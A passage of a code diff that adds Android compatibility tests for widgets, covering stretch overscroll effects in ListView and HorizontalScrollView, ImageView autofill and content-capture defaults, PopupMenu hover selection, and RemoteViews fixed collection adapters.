@@ -27,6 +27,7 @@
 
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.compat.CompatChanges;
 import android.content.Context;
 import android.graphics.Color;
 import android.graphics.Rect;
@@ -39,9 +40,11 @@
 import android.widget.FrameLayout;
 import android.widget.HorizontalScrollView;
 import android.widget.TextView;
+import android.widget.cts.util.StretchEdgeUtil;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
 import androidx.test.filters.MediumTest;
 import androidx.test.rule.ActivityTestRule;
 import androidx.test.runner.AndroidJUnit4;
@@ -55,12 +58,17 @@
 import org.junit.runner.RunWith;
 import org.xmlpull.v1.XmlPullParser;
 
+import java.util.ArrayList;
+
 /**
  * Test {@link HorizontalScrollView}.
  */
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class HorizontalScrollViewTest {
+    static final long USE_STRETCH_EDGE_EFFECT_BY_DEFAULT = 171228096L;
+    static final long USE_STRETCH_EDGE_EFFECT_FOR_SUPPORTED = 178807038L;
+
     private static final int ITEM_WIDTH  = 250;
     private static final int ITEM_HEIGHT = 100;
     private static final int ITEM_COUNT  = 15;
@@ -73,6 +81,7 @@
     private HorizontalScrollView mScrollViewRegular;
     private HorizontalScrollView mScrollViewCustom;
     private MyHorizontalScrollView mScrollViewCustomEmpty;
+    private HorizontalScrollView mScrollViewStretch;
 
     @Rule
     public ActivityTestRule<HorizontalScrollViewCtsActivity> mActivityRule =
@@ -88,6 +97,8 @@
                 R.id.horizontal_scroll_view_custom);
         mScrollViewCustomEmpty = (MyHorizontalScrollView) mActivity.findViewById(
                 R.id.horizontal_scroll_view_custom_empty);
+        mScrollViewStretch = (HorizontalScrollView) mActivity.findViewById(
+                R.id.horizontal_scroll_view_stretch);
     }
 
     @Test
@@ -792,6 +803,84 @@
         assertEquals(mScrollViewRegular.getRightEdgeEffectColor(), Color.GREEN);
     }
 
+    @Test
+    public void testStretchAtLeft() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the left:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragRightStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchAtLeftAndCatch() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragRightTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    @Test
+    public void testEdgeEffectType() {
+        int expectedStartType = (CompatChanges.isChangeEnabled(USE_STRETCH_EDGE_EFFECT_BY_DEFAULT)
+                || CompatChanges.isChangeEnabled(USE_STRETCH_EDGE_EFFECT_FOR_SUPPORTED))
+                ? EdgeEffect.TYPE_STRETCH : EdgeEffect.TYPE_GLOW;
+        // Should default value
+        assertEquals(expectedStartType, mScrollViewRegular.getEdgeEffectType());
+
+        // This one has "stretch" attribute
+        assertEquals(EdgeEffect.TYPE_STRETCH, mScrollViewStretch.getEdgeEffectType());
+
+        mScrollViewStretch.setEdgeEffectType(EdgeEffect.TYPE_GLOW);
+        assertEquals(EdgeEffect.TYPE_GLOW, mScrollViewStretch.getEdgeEffectType());
+        mScrollViewStretch.setEdgeEffectType(EdgeEffect.TYPE_STRETCH);
+        assertEquals(EdgeEffect.TYPE_STRETCH, mScrollViewStretch.getEdgeEffectType());
+    }
+
+    @Test
+    public void testStretchAtRight() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the left:
+        showOnlyStretch();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Scroll all the way to the right
+            mScrollViewStretch.scrollTo(210, 0);
+        });
+
+        assertTrue(StretchEdgeUtil.dragLeftStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchAtRightAndCatch() throws Throwable {
+        // Make sure that the scroll view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        mActivityRule.runOnUiThread(() -> {
+            // Scroll all the way to the bottom
+            mScrollViewStretch.scrollTo(210, 0);
+        });
+
+        assertTrue(StretchEdgeUtil.dragLeftTapAndHoldStretches(mActivityRule, mScrollViewStretch));
+    }
+
+    private void showOnlyStretch() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mScrollViewCustom.setVisibility(View.GONE);
+            mScrollViewCustomEmpty.setVisibility(View.GONE);
+            mScrollViewRegular.setVisibility(View.GONE);
+            // The stretch HorizontalScrollView is 90x90 pixels
+            Rect exclusionRect = new Rect(0, 0, 90, 90);
+            ArrayList exclusionRects = new ArrayList();
+            exclusionRects.add(exclusionRect);
+            mScrollViewStretch.setSystemGestureExclusionRects(exclusionRects);
+        });
+    }
+
     private boolean isInRange(int current, int from, int to) {
         if (from < to) {
             return current >= from && current <= to;
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index e09946d..b3392b3 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -60,6 +60,7 @@
 import android.net.Uri;
 import android.util.AttributeSet;
 import android.util.Xml;
+import android.view.View;
 import android.widget.ImageView;
 import android.widget.ImageView.ScaleType;
 import android.widget.cts.util.TestUtils;
@@ -159,6 +160,59 @@
 
     @UiThreadTest
     @Test
+    public void testConstructorImportantForAutofill() {
+        ImageView imageView = new ImageView(mActivity);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = new ImageView(mActivity, null);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_auto);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_no);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_NO, imageView.getImportantForAutofill());
+        assertFalse(imageView.isImportantForAutofill());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_yes);
+        assertEquals(View.IMPORTANT_FOR_AUTOFILL_YES, imageView.getImportantForAutofill());
+        assertTrue(imageView.isImportantForAutofill());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testConstructorImportantForContentCapture() {
+        ImageView imageView = new ImageView(mActivity);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = new ImageView(mActivity, null);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_auto);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_no);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_NO,
+                imageView.getImportantForContentCapture());
+        assertFalse(imageView.isImportantForContentCapture());
+
+        imageView = mActivity.findViewById(R.id.imageview_important_yes);
+        assertEquals(View.IMPORTANT_FOR_CONTENT_CAPTURE_YES,
+                imageView.getImportantForContentCapture());
+        assertTrue(imageView.isImportantForContentCapture());
+    }
+
+    @UiThreadTest
+    @Test
     public void testInvalidateDrawable() {
         mImageViewRegular.invalidateDrawable(null);
     }
diff --git a/tests/tests/widget/src/android/widget/cts/ListViewTest.java b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
index 548bce6..3c0bfcb 100644
--- a/tests/tests/widget/src/android/widget/cts/ListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ListViewTest.java
@@ -38,6 +38,7 @@
 import android.app.ActionBar.LayoutParams;
 import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.compat.CompatChanges;
 import android.content.Context;
 import android.graphics.Canvas;
 import android.graphics.Color;
@@ -58,11 +59,16 @@
 import android.widget.AdapterView;
 import android.widget.AdapterView.OnItemClickListener;
 import android.widget.ArrayAdapter;
+import android.widget.BaseAdapter;
+import android.widget.EdgeEffect;
 import android.widget.FrameLayout;
 import android.widget.ListView;
 import android.widget.TextView;
+import android.widget.cts.util.StretchEdgeUtil;
 import android.widget.cts.util.TestUtils;
 
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
 import androidx.test.InstrumentationRegistry;
 import androidx.test.annotation.UiThreadTest;
 import androidx.test.filters.LargeTest;
@@ -92,6 +98,8 @@
 @SmallTest
 @RunWith(AndroidJUnit4.class)
 public class ListViewTest {
+    static final long USE_STRETCH_EDGE_EFFECT_BY_DEFAULT = 171228096L;
+    static final long USE_STRETCH_EDGE_EFFECT_FOR_SUPPORTED = 178807038L;
     private final String[] mCountryList = new String[] {
         "Argentina", "Australia", "China", "France", "Germany", "Italy", "Japan", "United States"
     };
@@ -107,10 +115,14 @@
     private final String[] mNameList = new String[] {
         "Jacky", "David", "Kevin", "Michael", "Andy"
     };
+    private final int[] mColorList = new int[] {
+        Color.BLUE, Color.CYAN, Color.GREEN, Color.YELLOW, Color.RED, Color.MAGENTA
+    };
 
     private Instrumentation mInstrumentation;
     private Activity mActivity;
     private ListView mListView;
+    private ListView mListViewStretch;
     private TextView mTextView;
     private TextView mSecondTextView;
 
@@ -118,6 +130,7 @@
     private ArrayAdapter<String> mAdapter_countries;
     private ArrayAdapter<String> mAdapter_longCountries;
     private ArrayAdapter<String> mAdapter_names;
+    private ColorAdapter mAdapterColors;
 
     @Rule
     public ActivityTestRule<ListViewCtsActivity> mActivityRule =
@@ -136,8 +149,10 @@
                 android.R.layout.simple_list_item_1, mLongCountryList);
         mAdapter_names = new ArrayAdapter<>(mActivity, android.R.layout.simple_list_item_1,
                 mNameList);
+        mAdapterColors = new ColorAdapter(mActivity, mColorList);
 
         mListView = (ListView) mActivity.findViewById(R.id.listview_default);
+        mListViewStretch = (ListView) mActivity.findViewById(R.id.listview_stretch);
     }
 
     @Test
@@ -1147,6 +1162,88 @@
         Assert.assertEquals(tag, newItem.getTag());
     }
 
+    @Test
+    public void testEdgeEffectType() {
+        // Should default to "glow"
+        int expectedStartType = (CompatChanges.isChangeEnabled(USE_STRETCH_EDGE_EFFECT_BY_DEFAULT)
+                || CompatChanges.isChangeEnabled(USE_STRETCH_EDGE_EFFECT_FOR_SUPPORTED))
+                ? EdgeEffect.TYPE_STRETCH : EdgeEffect.TYPE_GLOW;
+        assertEquals(expectedStartType, mListView.getEdgeEffectType());
+
+        // This one has "stretch" attribute
+        assertEquals(EdgeEffect.TYPE_STRETCH, mListViewStretch.getEdgeEffectType());
+
+        mListViewStretch.setEdgeEffectType(EdgeEffect.TYPE_GLOW);
+        assertEquals(EdgeEffect.TYPE_GLOW, mListViewStretch.getEdgeEffectType());
+        mListViewStretch.setEdgeEffectType(EdgeEffect.TYPE_STRETCH);
+        assertEquals(EdgeEffect.TYPE_STRETCH, mListViewStretch.getEdgeEffectType());
+    }
+
+    @Test
+    public void testStretchAtTop() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragDownStretches(mActivityRule, mListViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchTopAndCatch() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        assertTrue(StretchEdgeUtil.dragDownTapAndHoldStretches(mActivityRule, mListViewStretch));
+    }
+
+    private void scrollToBottomOfStretch() throws Throwable {
+        do {
+            mActivityRule.runOnUiThread(() -> {
+                mListViewStretch.scrollListBy(50);
+            });
+        } while (mListViewStretch.pointToPosition(0, 40) != mColorList.length - 1);
+    }
+
+    @Test
+    public void testStretchAtBottom() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        scrollToBottomOfStretch();
+        assertTrue(StretchEdgeUtil.dragUpStretches(mActivityRule, mListViewStretch));
+    }
+
+    // If this test is showing as flaky, it is more likely that it is broken. I've
+    // leaned toward false positive over false negative.
+    @LargeTest
+    @Test
+    public void testStretchBottomAndCatch() throws Throwable {
+        // Make sure that the view we care about is on screen and at the top:
+        showOnlyStretch();
+
+        scrollToBottomOfStretch();
+        assertTrue(StretchEdgeUtil.dragUpTapAndHoldStretches(mActivityRule, mListViewStretch));
+    }
+
+    private void showOnlyStretch() throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            ViewGroup parent = (ViewGroup) mListViewStretch.getParent();
+            for (int i = 0; i < parent.getChildCount(); i++) {
+                View child = parent.getChildAt(i);
+                if (child != mListViewStretch) {
+                    child.setVisibility(View.GONE);
+                }
+            }
+            mListViewStretch.setAdapter(mAdapterColors);
+            mListViewStretch.setDivider(null);
+            mListViewStretch.setDividerHeight(0);
+        });
+        // Give it an opportunity to finish layout.
+        mActivityRule.runOnUiThread(() -> {});
+    }
+
     private static class StableArrayAdapter<T> extends ArrayAdapter<T> {
         public StableArrayAdapter(Context context, int resource, List<T> objects) {
             super(context, resource, objects);
@@ -1295,4 +1392,43 @@
 
         verify(overscrollFooterDrawable, atLeastOnce()).draw(any(Canvas.class));
     }
+
+    private static class ColorAdapter extends BaseAdapter {
+        private int[] mColors;
+        private Context mContext;
+
+        ColorAdapter(Context context, int[] colors) {
+            mContext = context;
+            mColors = colors;
+        }
+
+        @Override
+        public int getCount() {
+            return mColors.length;
+        }
+
+        @Override
+        public Object getItem(int position) {
+            return mColors[position];
+        }
+
+        @Override
+        public long getItemId(int position) {
+            return position;
+        }
+
+        @NonNull
+        @Override
+        public View getView(int position, @Nullable View convertView, @NonNull ViewGroup parent) {
+            int color = mColors[position];
+            if (convertView != null) {
+                convertView.setBackgroundColor(color);
+                return convertView;
+            }
+            View view = new View(mContext);
+            view.setBackgroundColor(color);
+            view.setLayoutParams(new ViewGroup.LayoutParams(90, 50));
+            return view;
+        }
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/OWNERS b/tests/tests/widget/src/android/widget/cts/OWNERS
index dd41f7f..080c707 100644
--- a/tests/tests/widget/src/android/widget/cts/OWNERS
+++ b/tests/tests/widget/src/android/widget/cts/OWNERS
@@ -1 +1,2 @@
 per-file TextView*.java, EditText*.java = siyamed@google.com, nona@google.com, clarabayarri@google.com
+per-file ToastTest.java = beverlyt@google.com, brufino@google.com, jtomljanovic@google.com, juliacr@google.com
diff --git a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
index 7c656ba..8905883 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupMenuTest.java
@@ -19,6 +19,7 @@
 import static com.android.compatibility.common.util.CtsMockitoUtils.within;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.mockito.Mockito.any;
@@ -36,9 +37,11 @@
 import android.graphics.drawable.ColorDrawable;
 import android.os.SystemClock;
 import android.view.Gravity;
+import android.view.InputDevice;
 import android.view.Menu;
 import android.view.MenuInflater;
 import android.view.MenuItem;
+import android.view.MotionEvent;
 import android.view.SubMenu;
 import android.view.View;
 import android.widget.EditText;
@@ -430,6 +433,58 @@
         }
     }
 
+    @Test
+    public void testHoverSelectsMenuItem() throws Throwable {
+        mBuilder = new Builder().withExtraItems(100).withAnchorId(R.id.anchor_upper_left);
+        mActivityRule.runOnUiThread(mBuilder::show);
+
+        mInstrumentation.waitForIdleSync();
+        ListView menuItemList = mPopupMenu.getMenuListView();
+
+        assertEquals(0, menuItemList.getFirstVisiblePosition());
+        emulateHoverOverVisibleItems(mInstrumentation, menuItemList);
+
+        // Select the last item to force menu scrolling and emulate hover again.
+        mActivityRule.runOnUiThread(
+                () -> menuItemList.setSelectionFromTop(mPopupMenu.getMenu().size() - 1, 0));
+        mInstrumentation.waitForIdleSync();
+
+        assertNotEquals("Too few menu items to test for scrolling",
+                0, menuItemList.getFirstVisiblePosition());
+        emulateHoverOverVisibleItems(mInstrumentation, menuItemList);
+
+        mPopupMenu = null;
+    }
+
+    private void emulateHoverOverVisibleItems(Instrumentation instrumentation, ListView listView) {
+        final int childCount = listView.getChildCount();
+        // The first/last child may present partially on the app, we should ignore them when inject
+        // mouse events to prevent the event send to the wrong target.
+        for (int i = 1; i < childCount - 1; i++) {
+            View itemView = listView.getChildAt(i);
+            injectMouseEvent(instrumentation, itemView, MotionEvent.ACTION_HOVER_MOVE);
+
+            // Wait for the system to process all events in the queue.
+            instrumentation.waitForIdleSync();
+
+            // Hovered menu item should be selected.
+            assertEquals(listView.getFirstVisiblePosition() + i,
+                    listView.getSelectedItemPosition());
+        }
+    }
+
+    private static void injectMouseEvent(Instrumentation instrumentation, View view, int action) {
+        final int[] xy = new int[2];
+        view.getLocationOnScreen(xy);
+        final int x = xy[0] + view.getWidth() / 2;
+        final int y = xy[1] + view.getHeight() / 2;
+        long eventTime = SystemClock.uptimeMillis();
+        MotionEvent event = MotionEvent.obtain(eventTime, eventTime, action, x, y, 0);
+        event.setSource(InputDevice.SOURCE_MOUSE);
+        instrumentation.sendPointerSync(event);
+        event.recycle();
+    }
+
     /**
      * Inner helper class to configure an instance of {@link PopupMenu} for the specific test.
      * The main reason for its existence is that once a popup menu is shown with the show() method,
@@ -441,6 +496,7 @@
         private boolean mHasDismissListener;
         private boolean mHasMenuItemClickListener;
         private boolean mInflateWithInflater;
+        private int mExtraItemCount;
 
         private int mAnchorId = R.id.anchor_middle_left;
         private int mPopupMenuContent = R.menu.popup_menu;
@@ -507,6 +563,11 @@
             return this;
         }
 
+        public Builder withExtraItems(int count) {
+            mExtraItemCount = count;
+            return this;
+        }
+
         public void configure() {
             mAnchor = mActivity.findViewById(mAnchorId);
             if (!mUseCustomGravity && !mUseCustomPopupResource) {
@@ -543,6 +604,11 @@
             }
 
             mPopupMenu.setForceShowIcon(mForceShowIcon);
+
+            // Add extra items.
+            for (int i = 0; i < mExtraItemCount; i++) {
+                mPopupMenu.getMenu().add("Extra item " + i);
+            }
         }
 
         public void show() {
diff --git a/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
new file mode 100644
index 0000000..e700530
--- /dev/null
+++ b/tests/tests/widget/src/android/widget/cts/RemoteViewsFixedCollectionAdapterTest.java
@@ -0,0 +1,591 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.widget.cts;
+
+import static com.android.compatibility.common.util.WidgetTestUtils.runOnMainAndDrawSync;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNotSame;
+import static org.junit.Assert.assertSame;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Parcel;
+import android.util.TypedValue;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.Adapter;
+import android.widget.AdapterViewFlipper;
+import android.widget.CompoundButton;
+import android.widget.GridView;
+import android.widget.ListView;
+import android.widget.RemoteViews;
+import android.widget.RemoteViews.RemoteCollectionItems;
+import android.widget.StackView;
+import android.widget.TextView;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class RemoteViewsFixedCollectionAdapterTest {
+    private static final String PACKAGE_NAME = "android.widget.cts";
+
+    @Rule
+    public ActivityTestRule<RemoteViewsCtsActivity> mActivityRule =
+            new ActivityTestRule<>(RemoteViewsCtsActivity.class);
+
+    private Instrumentation mInstrumentation;
+
+    private Activity mActivity;
+
+    private RemoteViews mRemoteViews;
+
+    private View mView;
+    private ListView mListView;
+    private GridView mGridView;
+    private StackView mStackView;
+    private AdapterViewFlipper mAdapterViewFlipper;
+
+    @UiThreadTest
+    @Before
+    public void setUp() throws Throwable {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+        mRemoteViews = new RemoteViews(PACKAGE_NAME, R.layout.remoteviews_adapters);
+
+        ViewGroup parent = (ViewGroup) mActivity.findViewById(R.id.remoteView_host);
+        mView = mRemoteViews.apply(mActivity, parent);
+        parent.addView(mView);
+
+        mListView = mView.findViewById(R.id.remoteView_list);
+        mGridView = mView.findViewById(R.id.remoteView_grid);
+        mStackView = mView.findViewById(R.id.remoteView_stack);
+        mAdapterViewFlipper = mView.findViewById(R.id.remoteView_flipper);
+    }
+
+    @Test
+    public void testParcelingAndUnparceling() {
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(true)
+                .setViewTypeCount(10)
+                .addItem(3 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline))
+                .addItem(5 /* id */, new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity))
+                .build();
+
+        Parcel parcel = Parcel.obtain();
+        items.writeToParcel(parcel, 0 /* flags */);
+        parcel.setDataPosition(0);
+
+        RemoteCollectionItems unparceled = RemoteCollectionItems.CREATOR.createFromParcel(parcel);
+        assertEquals(2, unparceled.getItemCount());
+        assertEquals(3, unparceled.getItemId(0));
+        assertEquals(5, unparceled.getItemId(1));
+        assertEquals(R.layout.textview_singleline, unparceled.getItemView(0).getLayoutId());
+        assertEquals(R.layout.textview_gravity, unparceled.getItemView(1).getLayoutId());
+        assertTrue(unparceled.hasStableIds());
+        assertEquals(10, unparceled.getViewTypeCount());
+
+        parcel.recycle();
+    }
+
+    @Test
+    public void testBuilder_empty() {
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder().build();
+
+        assertEquals(0, items.getItemCount());
+        assertEquals(1, items.getViewTypeCount());
+        assertFalse(items.hasStableIds());
+    }
+
+    @Test
+    public void testBuilder_viewTypeCountUnspecified() {
+        RemoteViews firstItem = new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline);
+        RemoteViews secondItem = new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity);
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(true)
+                .addItem(3 /* id */, firstItem)
+                .addItem(5 /* id */, secondItem)
+                .build();
+
+        assertEquals(2, items.getItemCount());
+        assertEquals(3, items.getItemId(0));
+        assertEquals(5, items.getItemId(1));
+        assertSame(firstItem, items.getItemView(0));
+        assertSame(secondItem, items.getItemView(1));
+        assertTrue(items.hasStableIds());
+        // The view type count should be derived from the number of different layout ids if
+        // unspecified.
+        assertEquals(2, items.getViewTypeCount());
+    }
+
+    @Test
+    public void testBuilder_viewTypeCountSpecified() {
+        RemoteViews firstItem = new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline);
+        RemoteViews secondItem = new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity);
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .addItem(3 /* id */, firstItem)
+                .addItem(5 /* id */, secondItem)
+                .setViewTypeCount(15)
+                .build();
+
+        assertEquals(15, items.getViewTypeCount());
+    }
+
+    @Test
+    public void testBuilder_repeatedIdsAndLayouts() {
+        RemoteViews firstItem = new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline);
+        RemoteViews secondItem = new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline);
+        RemoteViews thirdItem = new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline);
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(false)
+                .addItem(42 /* id */, firstItem)
+                .addItem(42 /* id */, secondItem)
+                .addItem(42 /* id */, thirdItem)
+                .build();
+
+        assertEquals(3, items.getItemCount());
+        assertEquals(42, items.getItemId(0));
+        assertEquals(42, items.getItemId(1));
+        assertEquals(42, items.getItemId(2));
+        assertSame(firstItem, items.getItemView(0));
+        assertSame(secondItem, items.getItemView(1));
+        assertSame(thirdItem, items.getItemView(2));
+        assertEquals(1, items.getViewTypeCount());
+        assertFalse(items.hasStableIds());
+    }
+
+    @Test
+    public void testBuilder_nullItem() {
+        assertThrows(
+                NullPointerException.class,
+                () -> new RemoteCollectionItems.Builder()
+                        .addItem(0, null /* view */)
+                        .build());
+    }
+
+    @Test
+    public void testBuilder_multipleLayouts() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new RemoteCollectionItems.Builder()
+                        .addItem(0, new RemoteViews(
+                                new RemoteViews(PACKAGE_NAME, R.layout.listview_layout),
+                                new RemoteViews(PACKAGE_NAME, R.layout.listview_layout)
+                        ))
+                        .build());
+    }
+
+    @Test
+    public void testBuilder_viewTypeCountLowerThanLayoutCount() {
+        assertThrows(
+                IllegalArgumentException.class,
+                () -> new RemoteCollectionItems.Builder()
+                        .setHasStableIds(true)
+                        .setViewTypeCount(1)
+                        .addItem(3 /* id */,
+                                new RemoteViews(PACKAGE_NAME, R.layout.textview_singleline))
+                        .addItem(5 /* id */,
+                                new RemoteViews(PACKAGE_NAME, R.layout.textview_gravity))
+                        .build());
+    }
+
+    @Test
+    public void testSetRemoteAdapter_emptyCollection() {
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder().build();
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(
+                mActivityRule, mListView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        assertEquals(0, mListView.getChildCount());
+        assertEquals(0, mListView.getAdapter().getCount());
+        assertEquals(1, mListView.getAdapter().getViewTypeCount());
+        assertFalse(mListView.getAdapter().hasStableIds());
+    }
+
+    @Test
+    public void testSetRemoteAdapter_withItems() {
+        RemoteViews item0 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item0.setTextViewText(android.R.id.text1, "Hello");
+
+        RemoteViews item1 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item1.setTextViewText(android.R.id.text1, "World");
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(true)
+                .addItem(10 /* id= */, item0)
+                .addItem(11 /* id= */, item1)
+                .build();
+
+        mRemoteViews.setRemoteAdapter(R.id.remoteView_list, items);
+        runOnMainAndDrawSync(
+                mActivityRule, mListView, () -> mRemoteViews.reapply(mActivity, mView));
+
+        Adapter adapter = mListView.getAdapter();
+        assertEquals(2, adapter.getCount());
+        assertEquals(1, adapter.getViewTypeCount());
+        assertEquals(adapter.getItemViewType(0), adapter.getItemViewType(1));
+        assertEquals(10, adapter.getItemId(0));
+        assertEquals(11, adapter.getItemId(1));
+        assertTrue(adapter.hasStableIds());
+
+        assertEquals(2, mListView.getChildCount());
+        TextView textView0 = (TextView) mListView.getChildAt(0);
+        TextView textView1 = (TextView) mListView.getChildAt(1);
+        assertEquals("Hello", textView0.getText());
+        assertEquals("World", textView1.getText());
+    }
+
+    @Test
+    public void testSetRemoteAdapter_checkedChangeListener() throws Throwable {
+        String action = "my-action";
+        MockBroadcastReceiver receiver = new MockBroadcastReceiver();
+        mActivity.registerReceiver(receiver, new IntentFilter(action));
+
+        Intent intent = new Intent(action).setPackage(mActivity.getPackageName());
+        PendingIntent pendingIntent =
+                PendingIntent.getBroadcast(
+                        mActivity,
+                        0,
+                        intent,
+                        PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE);
+        mRemoteViews.setPendingIntentTemplate(R.id.remoteView_list, pendingIntent);
+
+        ListView listView = mView.findViewById(R.id.remoteView_list);
+
+        RemoteViews item0 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item0.setTextViewText(android.R.id.text1, "Hello");
+
+        RemoteViews item1 = new RemoteViews(PACKAGE_NAME, R.layout.listitemfixed_layout);
+        item1.setTextViewText(android.R.id.text1, "World");
+
+        RemoteViews item2 = new RemoteViews(PACKAGE_NAME, R.layout.checkbox_layout);
+        item2.setTextViewText(R.id.check_box, "Checkbox");
+        item2.setCompoundButtonChecked(R.id.check_box, true);
+        item2.setOnCheckedChangeResponse(
+                R.id.check_box,
+                RemoteViews.RemoteResponse.fromFillInIntent(new Intent().putExtra("my-extra", 42)));
+
+        RemoteCollectionItems items = new RemoteCollectionItems.Builder()
+                .setHasStableIds(true)
